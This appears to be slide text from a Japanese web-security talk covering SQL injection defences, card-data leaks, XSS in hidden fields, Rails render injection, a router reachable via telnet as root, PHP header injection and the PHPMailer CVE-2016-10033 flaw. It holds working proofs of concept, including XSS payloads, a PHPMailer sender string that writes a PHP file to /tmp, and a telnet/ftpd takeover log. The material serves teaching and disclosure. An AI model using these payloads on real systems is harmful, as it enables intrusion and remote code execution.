• 田舎では技術書との出会いが不自由だ

大体ね、公立の図書館は駄目なんですよ。
なんか技術とかあったり、哲学とかあったり、もうあれ見た瞬間に行きたくなくなるもんね。
【テキスト起こし】武雄新図書館構想発表記者会見 - Google ドキュメントから引用

• (1) たった1日で即戦力になるExcelの教科書
• (2) 人工知能は人間を超えるか ディープラーニングの先にあるもの (角川EPUB選書)
• (3) スッキリわかるJava入門 第2版 (スッキリシリーズ)
• (4) リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)
• (5) 暗号技術入門 第3版 秘密の国のアリス
• (6) 深層学習 (機械学習プロフェッショナルシリーズ)
• (7) HTML5&CSS3デザインブック (ステップバイステップ形式でマスターできる)
• (8) 伝わるデザインの基本 よい資料を作るためのレイアウトのルール
• (9) ハッカーの学校
• (10) インフラ/ネットワークエンジニアのためのネットワーク技術&設計入門

東京在住・在勤でなくても利用できる図書館は多い

• ここが変だよ、グローバルスタンダードの脆弱性対策～入力値の考え方～

• OWASP Top 10
• SQL Injection Prevention Cheat Sheet
• OWASP Top 10 Proactive Controls

OWASP Top 10

防止方法
インジェクション攻撃を防止するには、コマンドとクエリから信頼出来ないデータを常に区別することが必要です。

1. 推奨されるオプションは、インタープリタを全く用いない安全なAPIを利用するか、パラメータ化されたインターフェースを用いる事です。ただ、ストアードプロシージャなどの、パラメータ化していてもインジェクション攻撃が可能なAPIには注意して下さい。

2. パラメータ化されたAPIが利用出来ない場合、インタプリタにて定められたエスケープ構文を用いて特殊文字のエスケープ処理を慎重に実施すべきです。OWASP's ESAPIはこれらの定番のエスケープを多く提供します。

3. 多くのアプリケーションが特殊文字の入力を必要とするため、“ホワイトリスト”による入力検証も推奨しますが、完全な防御ではありません。特殊文字が必要な場合、上述の1.と2.を用いることで、安全に使用出来ます。OWASP's ESAPIは、ホワイトリストの入力検証ルーチンの拡張可能なライブラリがあります。

https://www.owasp.org/images/7/79/OWASP_Top_10_2013_JPN.pdfより引用

• 根本的対策としてはプレースホルダの使用か記号文字のエスケープである
• 可能な限りプレースホルダの使用を優先すること
• アプリケーションの仕様にしたがって入力値検証することを推奨するが、完全な防御にはならない

SQL Injection Prevention Cheat Sheet

• SQLインジェクション対策の極意はSQL文を組み立てないことにあり

• Defense Option 1: Prepared Statements (with Parameterized Queries)
• Defense Option 2: Stored Procedures
• Defense Option 3: Escaping All User Supplied Input

Defense Option 3: Escaping All User Supplied Input

This second technique is to escape user input before putting it in a query. However, this methodology is frail compared to using parameterized queries and we cannot guarantee it will prevent all SQL Injection in all situations. This technique should only be used, with caution, to retrofit legacy code in a cost effective way. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries.

【参考訳】この第2の手法は、ユーザ入力をクエリ内に入れる前にエスケープすることです。しかし、この方法論はパラメータ化クエリ（訳注:プレースホルダを用いたSQL呼び出しのこと）を用いる場合と比較して弱く、我々はそれがすべての状況ですべてのSQLインジェクションを防げると保証することができません。この手法は、既存のコードを費用対効果がよい方法で改修する場合に限り、用心深く用いられるべきです。スクラッチから構築するアプリケーションや、リスク許容度の低いアプリケーションは、パラメータ化クエリを用いて構築あるいは書き換えされるべきです。

3 Additional Defenses

3.2 White List Input Validation

Input validation can be used to detect unauthorized input before it is passed to the SQL query. For more information please see the Input Validation Cheat Sheet. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.

【参考訳】無許可の入力がSQLクエリに渡される前に検知するために入力バリデーションを用いることができます。詳細は、入力値検証チートシートを参照ください。以下に注意して下さい。バリデーションされたデータは、文字列組み立てを通じてSQLクエリに挿入する上では必ずしも安全ではありません。

OWASP Top 10 Proactive Controls

• SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか

まとめ

• とにかくプレースホルダを使う
• どーーしてもプレースホルダを使えないとか、既存アプリの脆弱性対処を素早く行う必要がある場合に限りエスケープ手法を用いる
• バリデーションはすべきだが完全ではないので保険的に用いること

同社は、薬局への医薬品の卸売りのほか、運営するショッピングサイト「eキレイネット」でコラーゲンやヒアルロン酸などの美容関連製品を販売している。流出した疑いがあるのは、平成26年10月8日～27年11月5日、サイトでカードを使って商品を購入した顧客の氏名や住所、クレジットカードなどの情報だった。この間、1955人が利用していた。
　名の売れた大企業ではない。従業員わずか10人の小さな会社がサイバー攻撃の標的になったのだ。
　問題が発覚したのは昨年11月。決済代行会社からカード情報が流出した疑いがあると指摘があった。
従業員10人なのに「標的」に　サイバー攻撃、中小企業が狙われる理由より引用

そもそも、決済代行会社を使っているのになぜカード情報が漏れる？普通は自分たちの側には一切カード情報を残さないものだが。getで送るとうっかりアクセスログに残る、とかの例はあるけど。
はてなブックマークより引用

• 決済代行を使っているのに、カード情報を自社サイトでも保存していた
• カード情報の入力フォームを改ざんされ、別サイトにカード情報を転送された

• SQLインジェクション対策もれの責任を開発会社に問う判決

ジェイアイエヌでは、クレジット情報漏えいの専門調査機関であるPayment Card Forensics株式会社（PCN）に調査を依頼。4月8日に受領した報告書によれば、3月6日にサーバーにバックドアプログラムが設置され、第三者のデータベースにカード情報が転送されるようにアプリケーションのプログラムが改ざんされていたことが判明した。
JINS、不正アクセスによるカード情報流出は最大2059人、当初発表下回るより引用

セキュリティコードをはじめクレジットカード情報は、弊社では保管しておりません。
保管していない情報が流出した理由につきましては、オンラインショップの支払方法入力画面に改ざんが加えられ、入力したクレジットカード情報が不正に外部のサーバに送信されるよう改ざんされたためであります。
よくあるご質問 | JINS - 眼鏡（メガネ・めがね）より引用

• 漏洩の対象が特定期間に取引した利用者に限られ漏洩件数は比較的少ない
• セキュリティコードが漏洩するケースが多い
• 決済代行を利用していても漏洩に至っている（決済代行業者に落ち度はない）

・画面遷移型のクレジットカード情報非保持サービスの採用
このサービスを採用することにより、オンラインショップの購入画面で決済方法としてクレジットカード決済を選択した場合に、決済代行会社が管理するウェブサイトへ画面が遷移することで、購入者のクレジットカード情報が当社サーバ等のシステムを一切通過しないこととなり、当社システムからの情報漏えいの可能性が排除されることとなります。
なお、上記再発防止策に対しては、本調査委員会より、非常に高い情報セキュリティレベルが実現可能であり、セキュアなクレジット決済を行うことが可能になる施策であると評価されております。
不正アクセス（JINSオンラインショップ）に関する調査結果（最終報告）より引用

3.2 White List Input Validation
Input validation can be used to detect unauthorized input before it is passed to the SQL query. For more information please see the Input Validation Cheat Sheet.

【私訳】
3.2 ホワイトリスト入力値検証
SQLクエリに渡される前に無許可の入力値を検知するために入力バリデーションを用いることができます。詳細は、入力値検証チートシートを参照ください。

Validated data is not necessarily safe to insert into SQL queries via string building.

【私訳】
バリデーションされたデータは、文字列組み立てを通じてSQLクエリに挿入する上では必ずしも安全ではありません。

3. Positive or “white list” input validation is also recommended, but is not a complete defense as many applications require special characters in their input. If special characters are required, only approaches 1. and 2. above will make their use safe.

【私訳】 3.ポジティブ（いわゆる「ホワイトリスト」）入力値検証も推奨されますが、 多くのアプリケーションが特殊文字の入力を必要とするため、完全な防御ではありません。特殊文字が要求される場合、上述の1.と2.（訳注: 安全なAPIの使用とエスケープ処理）のみにより、特殊文字の使用が安全になります。

ホワイトリストとは、警戒する必要のない対象の一覧表のこと。対義語はブラックリスト。
ホワイトリスト - Wikipediaより引用

ホワイトリストとは、対象を選別して受け入れたり拒絶したりする仕組みの一つで、受け入れる対象を列挙した目録を作り、そこに載っていないものは拒絶する方式。また、そのような目録のこと。対義語は「ブラックリスト」（black list）で、目録に載っているものだけを拒絶し、それ以外は受け入れる方式である。
ホワイトリストとは｜ホワイトリスティング｜white list｜WL - 意味/定義 ： IT用語辞典から引用

• 許可された入力値をリストとして列挙したもの
• 入力値が安全になるように文字種等を制限したもの
• 入力値に対するアプリケーションの仕様
• その他（よろしければメンションで教えて下さい）

ウェブアプリケーション開発において、「ホワイトリスト」という用語をどの意味で使いますか?

— 徳丸 浩 (@ockeghem) 2016年3月15日

• ウェブアプリケーションの分野で、日本語の「ホワイトリスト」と英語の"White List"では、用法に違いが見られる
• ホワイトリスト=アプリケーション仕様という意味だと、どんな場合にでも使えるが、必ずしも安全ではない
• ホワイトリスト=許可リストという意味だと、使える局面は限定されるか、安全なものとして扱える
• 両者の意味を混同することは危険である
• 「ホワイトリスト」という用語が出てきたら、警戒心をもって、どのような意味かを深読みしよう

In 9 March, 2016 During my research I was able to replicate the attack and issue valid certificates without verifying the ownership of the website which I will explain later in my post, the vulnerability was reported and fixed within hours. 

問題の説明

POST /Validate/GetWhois HTTP/1.1   ← whois情報を得るためのリクエスト
…

domainName=tokumaru.org&isNewWhois=1

HTTP/1.1 200 OK                       ← whois情報その他からのメールアドレス一覧
Content-Type: application/json; charset=utf-8
Content-Length: 105
...

"0|proxy@whoisprotectservice.com|postmaster@tokumaru.org|hostmaster@tokumaru.org|webmaster@tokumaru.org|"

<input name="ValidateEmails" type="radio" checked="checked" value="proxy@whoisprotectservice.com">proxy@whoisprotectservice.com
<input name="ValidateEmails" type="radio" value="postmaster@tokumaru.org">postmaster@tokumaru.org
<input name="ValidateEmails" type="radio" value="hostmaster@tokumaru.org">hostmaster@tokumaru.org
<input name="ValidateEmails" type="radio" value="webmaster@tokumaru.org">webmaster@tokumaru.org

POST /Validate/SendDomainVerifyEmail HTTP/1.1               ← 認証コードを送信するリクエスト
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 69
Cookie: fid=DE64D0FE74B0…

domainName=tokumaru.org&sendToEmail=postmaster%40tokumaru.org&index=0

HTTP/1.1 200 OK                                 ← レスポンス
Content-Type: application/json; charset=utf-8
Content-Length: 12

{"status":1}

どう修正すべきか

• 利用者本人からも改変されると困る値はtype=hiddenのinput要素やラジオボタン、セレクト要素などで受け渡しせずに、セッション変数を用いるべし
• 上記で複数の値から利用者に選択させる場合は、選択肢の中身はセッション変数におき、数字等で選択の指定をさせるとよい

<body>
入力確認をお願いします。
<?php echo htmlspecialchars($_GET['t']); ?><br>
<form action='submit.php'>
<input type='hidden' name='t' value='<?php
  echo htmlspecialchars($_GET['t']); ?>'>
<input type='submit'>
</body>

<body>
入力確認をお願いします。
yamada<br>
<form action='submit.php'>
<input type='hidden' name='t' value='yamada'>
<input type='submit'>
</body>

<input type='hidden' name='t' value=''&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>

<input type='hidden' name='t' value='' onmouseover='alert(1)'>

<input type="hidden" accesskey="X" onclick="alert(1)">

• 被害者ユーザがFirefoxを使っている かつ
• 被害者がSHIFT+ALT+X キーを押す

<body>
入力確認をお願いします。
' accesskey='X' onclick='alert(1)<br>
<form action='submit.php'>
<input type='hidden' name='t' value=''accesskey='X' onclick='alert(1)'>
<input type='submit'>
</body>

まとめ

@ockeghemスライド拝見しました。39番目のスライドですが、バインドのタイミングでintにキャストするのはちょっと例として良くない気がします。意図的にオーバーフローを起こすことで想定外のレコードの取得を許してしまいそうです。キャストしない方がまだ安全だと思うのですが。

— ちんぺい (@chinpei215) 2016年4月16日

$ php -r "var_dump((int)'999999999999999999999999999999');"
int(9223372036854775807)

PoC

CREATE TABLE xdecimal (id DECIMAL(20));            -- DECIMAL(20)は10進20桁の数値型
INSERT INTO xdecimal VALUES (18015376320243459);
INSERT INTO xdecimal VALUES (18015376320243460);
INSERT INTO xdecimal VALUES (18015376320243461);

<?php
  $db = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", DBUSER, DBPASSWD);
  $ps = $db->prepare("SELECT id FROM xdecimal WHERE id=:id");
  $id = '18015376320243461';
  $ps->bindValue(':id', $id, PDO::PARAM_INT); // intへのキャストはしない
  $ps->execute();
  $row = $ps->fetch();
  echo "$id -> ${row[0]}\n";
  $db = null;

生成されるSQL文

SELECT id FROM xdecimal WHERE id='18015376320243461'

MySQLと暗黙の型変換の問題

次のルールでは、比較演算の際にどのように変換が発生するのかについて説明します。

• NULL-safe <=> 等価比較演算子の場合を除いて、一方または両方の引数が NULL の場合は、比較の結果も NULL になります。NULL <=> NULL の場合は、結果が true になります。変換は必要ありません。
• 比較演算の両方の引数が文字列の場合は、文字列として比較されます。
• 両方の引数が整数の場合は、整数として比較されます。
• 16 進値が数字と比較されない場合は、バイナリ文字列として処理されます。
•  引数の一方が TIMESTAMP または DATETIME カラムで他方が定数の場合は、比較が実行される前に定数がタイムスタンプに変換されます。これは、ODBC により適合させるために実行されます。これは、IN() への引数には実行されません。念のため、比較を行う際は、常に完全な日付時間、日付、または時間文字列を使用してください。たとえば、日付または時間の値とともに BETWEEN を使用したときの結果を最適にするには、CAST() を使用して、明示的に値を目的のデータ型に変換します。
• テーブル (複数可) からの単一行のサブクエリーは、定数とみなされません。たとえば、サブクエリーで DATETIME 値と比較される整数が返される場合は、比較が 2 つの整数として実行されます。整数は時間値には変換されません。オペランドを DATETIME 値として比較するには、CAST() を使用して、明示的にサブクエリーの値を DATETIME に変換します。
• 引数のいずれかが 10 進値の場合、比較はその他の引数に依存します。その他の引数が 10 進値または整数値の場合、引数は 10 進値として比較され、その他の引数が浮動小数点値の場合、引数は浮動小数点値として比較されます。
• ほかのすべてのケースでは、引数は浮動小数点 (実) 数として比較されます。

12.2 式評価での型変換（MySQL 5.6 リファレンスマニュアル）より引用

PoCの実行結果

mysql> SELECT id FROM xdecimal WHERE id='18015376320243461';
+-------------------+
| id                |
+-------------------+
| 18015376320243459 |
| 18015376320243460 |
| 18015376320243461 |
+-------------------+
3 rows in set (0.00 sec)

バインド値を整数にキャストした場合

mysql> SELECT id FROM xdecimal WHERE id=18015376320243461;
+-------------------+
| id                |
+-------------------+
| 18015376320243461 |
+-------------------+
1 row in set (0.00 sec)

もっとよい方法はないか?

SELECT id FROM xdecimal WHERE id=CAST(:id AS DECIMAL(20))

mysql> SELECT id FROM xdecimal WHERE id=CAST('18015376320243461' AS DECIMAL(20));
+-------------------+
| id                |
+-------------------+
| 18015376320243461 |
+-------------------+
1 row in set (0.01 sec)

まとめ

参考文献

• SQLの暗黙の型変換はワナがいっぱい
• PDOでの数値列の扱いにはワナがいっぱい
• PDOでの数値列の扱いにはワナがいっぱい（2）
• SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
• とある診断員とSQLインジェクション

蛇足

mysql> ALTER TABLE xdecimal ADD INDEX(id);
Query OK, 0 rows affected (0.15 sec)
Records: 0  Duplicates: 0  Warnings: 0

mysql> SELECT id FROM xdecimal WHERE id='18015376320243461';
+-------------------+
| id                |
+-------------------+
| 18015376320243461 |
+-------------------+
1 row in set (0.00 sec)

背景

class HelloController < ApplicationController
  def index
    render 'hello/hello'
  end
end

<div>Hello world</div>

<div>Good bye world</div>

class HelloController < ApplicationController
  def index
    render params[:template]
  end
end

renderメソッドの inlineオプション

render :inline => "<%= Time.now %>"

hash = {:inline => "<%= Time.now %>"}
render hash

JSONによりハッシュを外部から指定できる

$ ls -l rooted
-rw-rw-r-- 1 ockeghem ockeghem 0  6月  1 22:29 rooted

対策

• Rails 3.2.22.2
• Rails 4.1.14.2
• Rails 4.2.5.2

• 可能な限りrenderメソッドの引数には外部由来の値を指定しない
• やむを得ずrenderメソッドの引数を外部から指定する場合は、ホワイトリスト（たとえば指定可能なテンプレートファイル名の一覧）による検証を行う

まとめ

株式会社アイ・オー・データ機器が提供する WFS-SR01 は、無線 LAN ルータ機能を搭載したポータブルストレージ機器です。WFS-SR01 のポケットルーター機能には、次の複数の脆弱性が存在します。

• 任意のコマンド実行 - CVE-2016-7806
• アクセス制限不備 - CVE-2016-7807

JVN#18228200: WFS-SR01 における複数の脆弱性より引用

ポケドラとは

• Wi-Fi経由で使用できるストレージ
• モバイルバッテリー
• SDカードリーダー
• ポケットルーター

試してみる

$ nmap -p 1-65535 203.0.113.10

PORT     STATE SERVICE
23/tcp   open  telnet
80/tcp   open  http
81/tcp   open  hosts2-ns
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5880/tcp open  unknown

$ telnet 203.0.113.10
Trying 203.0.113.10...
Connected to 203.0.113.10.
Escape character is '^]'.

WFS-SR01 login: admin
Password:

BusyBox v1.12.1 (2012-04-26 15:28:18 PHT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

$ uname -a
Linux WFS-SR01 2.6.21 #5 Fri Nov 1 13:36:46 CST 2013 mips unknown
$ whoami
-sh: whoami: not found
$ who
USER       TTY      IDLE      TIME            HOST
admin      pts/0    00:00     Feb  7 15:50:37
$ free
              total         used         free       shared      buffers
  Mem:        28000        26340         1660            0         1388
 Swap:            0            0            0
Total:        28000        26340         1660
$ df
Filesystem           1k-blocks      Used Available Use% Mounted on
rootfs                    4800      4800         0 100% /
/dev/root                 4800      4800         0 100% /
/dev/sda1              1951676      1580   1950096   0% /data/UsbDisk1/Volume1
$

インターネットに向けてファイルを公開してしまう

rootログインしてftpdを動かす

$ telnet 203.0.113.10
Trying 203.0.113.10...
Connected to 203.0.113.10.
Escape character is '^]'.

WFS-SR01 login: root
Password:
login: can't chdir to home directory '/root'

BusyBox v1.12.1 (2012-04-26 15:28:18 PHT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# who
USER       TTY      IDLE      TIME            HOST
root       pts/0    00:00     Nov 30 20:50:40
# pwd
/
# 

# ./busybox-mipsel
BusyBox v1.21.1 (2013-07-08 11:09:23 CDT) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2012.
Licensed under GPLv2. See source distribution for detailed
copyright notices.
...

# ./busybox-mipsel  tcpsvd 0 21 ./busybox-mipsel  ftpd -w /

$ ftp 203.0.113.10
Connected to 203.0.113.10.
220 Operation successful
Name (203.0.113.10:ockeghem): anonymous← パスワードは要求されない
230 Operation successful
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/"
ftp> ls
200 Operation successful
150 Directory listing
total 0
drwxr-xr-x    2 root     root           802 Apr  4  2014 bin
drwxr-xr-x    3 root     root            20 Apr  4  2014 boot
drwxr-xr-x    3 root     root             0 Nov 30 20:50 data
drwxr-xr-x    6 root     root             0 Nov 30 20:50 dev
drwxr-xr-x   14 root     root             0 Nov 30 20:50 etc
...
226 Operation successful
ftp> cd /data/UsbDisk1/Volume1/
250 Operation successful
ftp> pwd
257 "/data/UsbDisk1/Volume1"
ftp> ls
200 Operation successful
150 Directory listing
total 1596
drwxrwxrwx    2 root     root          4096 Nov  9 22:30 System Volume Information
-rwxrwxrwx    1 root     root       1576152 Nov 30 20:58 busybox-mipsel
-rwxrwxrwx    1 root     root         10923 Dec  2  2016 ockeghem.png
drwxrwxrwx    2 root     root          4096 Nov 30 20:57 test
226 Operation successful
ftp> put shop.zip                        ← shop.zipをアップロード
local: shop.zip remote: shop.zip
200 Operation successful
150 Ok to send data
226 Operation successful
2753 bytes sent in 0.00 secs (10380.2 kB/s)
ftp> ls
200 Operation successful
150 Directory listing
total 1596
drwxrwxrwx    2 root     root          4096 Nov  9 22:30 System Volume Information
-rwxrwxrwx    1 root     root       1576152 Nov 30 20:58 busybox-mipsel
-rwxrwxrwx    1 root     root         10923 Dec  2  2016 ockeghem.png
-rwxrwxrwx    1 root     root          2753 Nov 30 21:54 shop.zip
drwxrwxrwx    2 root     root          4096 Nov 30 20:57 test
226 Operation successful
ftp> quit
221 Operation successful
$

いったんまとめ

• 任意のコマンド実行 - CVE-2016-7806  telnetポートが有効であり、外部からadmin/adminという容易に推測できるアカウントでログインでき、rootログインされてしまう可能性もある
• アクセス制限不備 - CVE-2016-7807 telnetに加え、Windowsファイル共有、管理画面等がインターネット側からも使え、情報漏えいや不正な操作に使われてしまう

最新版での対策

• telnetポートが塞がれた（有線LAN、無線LANとも）
• 有線LAN（インターネット）側のポートを塞いだ

そもそもこれは脆弱性だったのか

まとめ

追記

Fixed bug #55856 (preg_replace should fail on trailing garbage)

<?php
ini_set('display_errors', 'On');
$vul = 0;
function vul($x) {
  echo "vulnerable\n";
  exit;
}
echo 'version=' . phpversion() . "\n";
$x = preg_replace("/^test/e\0/", "vul('\\0');", "test");
echo "not vulnerable\n";
var_dump($x);

$ phpall regexpinj.php
... 略
php-5.4.4: version=5.4.4 vulnerable
php-5.4.5: version=5.4.5 vulnerable
php-5.4.6: version=5.4.6 vulnerable
php-5.4.7: version=5.4.7 Warning: preg_replace(): Null byte in regex in ...
php-5.4.8: version=5.4.8 Warning: preg_replace(): Null byte in regex in ...
php-5.4.9: version=5.4.9 Warning: preg_replace(): Null byte in regex in ...

• HTTPヘッダインジェクション
• セッション固定
• セッションアダプション
• セッション汚染
• その他セッション系脆弱性

phpcgiallの動作原理

Alias /php-5.6.29/ "/home/ockeghem/Dropbox/www/"
<Location /php-5.6.29>
    AddHandler application/x-httpd-php-5.6.29 .php
    Action application/x-httpd-php-5.6.29 /php-cgi/php-5.6.29
    Options Indexes FollowSymLinks
    Order allow,deny
    allow from all
</Location>

Alias /d/ "/home/ockeghem/Dropbox/www/"
<Directory "/home/ockeghem/Dropbox/www">
    Options Indexes FollowSymLinks
    AllowOverride None
    Order allow,deny
    Allow from all
</Directory>

ScriptAlias /php-cgi/ /home/ockeghem/phpcgi/
<Directory "/home/ockeghem/phpcgi">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
</Directory>

Include /home/ockeghem/phpcgi.conf/

継続行とヘッダインジェクション

• キャリッジリターン(\x0D)のみで攻撃可能なブラウザがあった
• IE限定だが、継続行(LWS)を用いた攻撃ができた

header("Location: http://exapmle.jp/\r\n Set-Cookie: a=b;");

Location: http://example.jp/
 Set-Cookie: a=b;

<?php
  header("Location: http://example.jp/\r\n Set-Cookie: a=b;");

$ grep Warning *
php-5.4.38.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
php-5.4.39.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
...
php-5.5.22.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
php-5.5.23.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
...
php-5.6.6.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
php-5.6.7.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
...
php-7.0.0.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
php-7.0.1.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...

キャリッジリターンのみを用いたHTTPヘッダインジェクションはどうか?

<?php
  header("Location: http://example.jp/\rSet-Cookie: a=b;");

$ curl --dump-header - http://localhost/php-5.3.0/headerinj-cr.php | sed 's/\r/[CR]/'
HTTP/1.1 302 Moved Temporarily[CR]
Date: Wed, 14 Dec 2016 12:55:39 GMT[CR]
Server: Apache/2.2.22 (Ubuntu)[CR]
X-Powered-By: PHP/5.3.0[CR]
Location: http://example.jp/Set-Cookie: a=b;[CR]
Vary: Accept-Encoding[CR]
Content-Length: 0[CR]
Content-Type: text/html[CR]
[CR]

$ ~/phpcgi/php-5.3.0 headerinj-cr.php | sed 's/\r/[CR]/'
Status: 302 Moved Temporarily[CR]
X-Powered-By: PHP/5.3.0[CR]
Location: http://example.jp/[CR]Set-Cookie: a=b;
Content-type: text/html[CR]
[CR]

まとめ

エグゼクティブサマリ

はじめに

• Apacheに同時に複数バージョンのPHPを組み込めるようにする
• Apacheに組み込むPHPを次々に切り替える
• Apacheのインスタンスを複数起動して、それぞれ異なるバージョンのPHPを動かす

PHPのビルド

Apacheのバージョン

ディレクトリ構成

設定ファイル

Include "conf/httpd_header.conf"

Listen %PORT%
LoadModule php5_module        /home/ockeghem/phplib/%PHPVER%.so
ServerName      phpcgiall:%PORT%
PidFile "logs/httpd_%PHPVER%.pid"

Include "conf/httpd_tail.conf"

Include "conf/httpd_header.conf"

Listen 49364
LoadModule php5_module        /home/ockeghem/phplib/php-5.6.29.so
ServerName      phpcgiall:49364
PidFile "logs/httpd_php-5.6.29.pid"

Include "conf/httpd_tail.conf"

apache2.2/bin/httpd -f conf/httpd_php-5.6.29.conf

使用メモリ量

$ free
             total       used       free     shared    buffers     cached
Mem:       8266464    3794592    4471872          0      48444    1938060
-/+ buffers/cache:    1808088    6458376
Swap:      2093052          0    2093052
$

使ってみる

<?php
  header("Location: http://example.jp/\rSet-Cookie: a=b;");

$ curl --dump-header - http://localhost:49220/headerinj-cr.php | sed 's/\r/[CR]/'
HTTP/1.1 302 Found[CR]
Date: Thu, 15 Dec 2016 10:20:07 GMT[CR]
Server: Apache/2.2.31 (Unix) PHP/5.3.0[CR]
X-Powered-By: PHP/5.3.0[CR]
Location: http://example.jp/[CR]Set-Cookie: a=b;
Content-Length: 0[CR]
Content-Type: text/html[CR]
[CR]

$ grep Set-Cookie *.log | sed 's/\r/[CR]/'
php-3.0.18.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-4.0.0.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-4.0.1.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
...
php-4.4.9.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.0.0.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.0.1.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
...
php-5.3.9.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
php-5.3.10.log:Location: http://example.jp/[CR]Set-Cookie: a=b;
$

まとめ

エグゼクティブサマリ

はじめに

• PHP 5.5.21 以降
• PHP 5.6.5 以降
• 全ての PHP 7.0、7.1

• DrupalのSQLインジェクションCVE-2014-3704について調べてみた

実験に使用した環境はMySQLを使っていますが、SQLの複文が実行できていることになります。これは、DrupalがPDOを使っているためで、詳しくは以下のエントリを参照ください。

• PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能

• 2014年10月15日 Drupageddonを修正した Druapl 7.32 がリリースされる
• 2014年11月14日 PDOに複文を許さなくするオプションが提案される
• 2015年 1月22日 上記を実装したPHP 5.5.21およぴ PHP 5.6.5 がリリースされる

どうしてこのオプションに気づいたか

オプションの使い方

PDO::MYSQL_ATTR_MULTI_STATEMENTS (integer)
FALSE にすると、PDO::prepare() や PDO::query() でのマルチクエリの実行を無効にします。

この定数が使えるのは、データベースハンドルを新規作成する際の driver_options 配列内だけであることに注意しましょう。

これが使えるようになった PHP のバージョンは 5.5.21 および PHP 5.6.5。

PHP: MySQL (PDO) - Manualより引用

$opt = array(/* 様々な接続時オプション */);
if (defined('PDO::MYSQL_ATTR_MULTI_STATEMENTS')) {
  $opt[PDO::MYSQL_ATTR_MULTI_STATEMENTS] = false;
}
$db = new PDO("mysql:host=DBHOSTNAME;dbname=DBNAME;charset=utf8", DBUSER, DBPASSWORD, $opt);

PDO Error:SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; ...

PDO::MYSQL_ATTR_MULTI_STATEMENTS を FALSE にする効果

まとめ

エグゼクティブサマリ

• PHPMailer 5.2.17以前を使っている
• Senderプロパティ（エンベロープFrom）を外部から設定できる
• 現在出回っているPoCはMTAとしてsendmailを想定しており、postfixを使っている環境では問題ない

はじめに

　PHPからのメール送信に広く使われているライブラリの「PHPMailer」に重大な脆弱性が報告され、修正のためのパッチが12月24日付で公開された。悪用されれば任意のコードを実行される恐れも指摘され、米セキュリティ機関のSANS Internet Storm Centerは直ちにパッチを適用するよう呼び掛けている。

「PHPMailer」に重大な脆弱性、直ちにパッチ適用をより引用

PoC

<?php
require("PHPMailer/class.phpmailer.php");
$to = 'tokumaru@example.jp'; // 自分のメールアドレスに変更して下さい

// Exploit
$from = '"a \" -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp';

$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->Sender = $from;
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body  = '<?php phpinfo(); ?>';   // 実行コード
if(!$mail->send()) {
  echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
  echo "Message has been sent\n";
}

05284 <<< To: hiroshi2009@tokumaru.org
05284 <<< Subject: CVE-2016-10033 PoC
... 中略
05284 >>> X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)
05284 >>> MIME-Version: 1.0
05284 >>> Content-Type: text/plain; charset=iso-8859-1
05284 >>>
05284 >>> <?php phpinfo(); ?>
05284 >>>
05284 >>> .
05284 <<< 250 2.0.0 uBS1bgVM005294 Message accepted for delivery
05284 >>> QUIT
05284 <<< 221 2.0.0 localhost closing connection

なぜ攻撃が成立するか

$params = sprintf('-f%s', $this->Sender);
... 色々な処理
$result = @mail($to, $subject, $body, $header, $params);

mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。

escapeshellcmd() は、以前に徳丸さんから OS コマンドインジェクションの防止には不適切であると指摘されています。ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。

• PHPのescapeshellcmdの危険性
• escapeshellcmdの危険な実例

mb_send_mail()，mail()で第5引数を設定する際の注意点より引用

攻撃に用いるメールアドレスについて

"a \"  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp

悲しいことに、PCREが入っているほうがPHPの対象範囲が広くなってしまいます・・・
PCREが入っておらず、PHP5.2以上の場合はPHPのfilter_var()でメールアドレスチェックが行われるため救われます。PCREの正規表現よりもfiter_var()を優先すれば良いのに・・・

PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲より引用

• XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス

sh -c /usr/sbin/sendmail -t -i  -f"a \\" -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp

PHPMailer 5.2.19での対応

$params = sprintf('-f%s', escapeshellarg($this->Sender));

